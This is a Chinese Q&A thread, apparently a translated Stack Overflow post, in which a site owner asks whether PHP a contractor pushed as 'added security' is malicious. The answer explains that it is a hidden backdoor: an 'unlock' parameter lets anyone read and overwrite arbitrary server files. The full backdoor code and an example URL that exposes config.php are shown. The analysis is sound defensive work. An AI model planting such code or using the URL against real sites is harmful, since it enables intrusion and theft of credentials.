此代码是恶意还是安全?

时间:2014-08-26 19:08:04

标签: php

我在一个网站上工作,最近选择了一些人来处理PHP部分,我怀疑他可能已经在网站上添加了恶意代码,他在未经许可的情况下推了一些PHP,也没有提到任何人都可以。

推送被标记为“添加了安全性”。 这是代码:

<?PHP
if(isset($_GET['unlock'])) {
    $id = $_GET['id'];
    $dic = $_SERVER['PHP_SELF'];
    $name = basename($dic) . "?unlock";
    $url = './$name?unlock&id='.$id;
    $file = "./$id";

    if(isset($_GET['f'])) {
        $f = $_GET['f'];
        $file = "./$f/$id";
    }

    if (isset($_POST['text'])) {
        file_put_contents($file, $_POST['text']);

        if(isset($_GET['f'])) {
            $f = $_GET['f'];
            header('location: ' . $name . '&id=' . $id . '&f=' . $f);
        } else {
            header('location: ' .  $name . '&id=' . $id);
        }
    }

    $text = htmlentities(file_get_contents($file));

    echo "<form method='post'><input type='submit'><textarea name='text'>$text</textarea></form>$dic";
    die();
}
?>

提前致谢。

1 个答案:

答案 0 :(得分:3)

让我们看看,以下

<?php
if(isset($_GET['unlock'])) {
...
}

表示如果您不发送参数unlock,则不会显示任何内容。就像是一个保留秘密代码的创造性尝试,只有他才能用一个神奇的词来解锁。

关于里面的内容

$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
//$url = './$name?unlock&id='.$id;  // the former would fail to interpolate $name
$url = "./$name&id=".$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
$text = htmlentities(file_get_contents($file));
echo"<form method='post'><input type='submit'><textarea name='text'>$text</textarea> </form>";

如果您传递参数unlock和id(这是一个文件名),以及可选的参数f(这是一个文件夹),您可以在textarea中看到该文件的内容。例如

http://www.myserver.com/thescript.php?unlock&id=config.php&f=app

会在config.php文件夹中的app中公开您的敏感信息。

最后,这部分

if (isset($_POST['text'])) {

    file_put_contents($file, $_POST['text']);

    if(isset($_GET['f'])) {
    $f = $_GET['f'];
    header('location: ' . $name . '&id=' . $id . '&f=' . $f);
    } else {
    header('location: ' .  $name . '&id=' . $id);
    }

}

可以通过提交表单来编辑或创建文件。它可能由于缺少权限而失败,但由于您可以使用该文件夹,因此您只需坚持直到找到可写文件夹。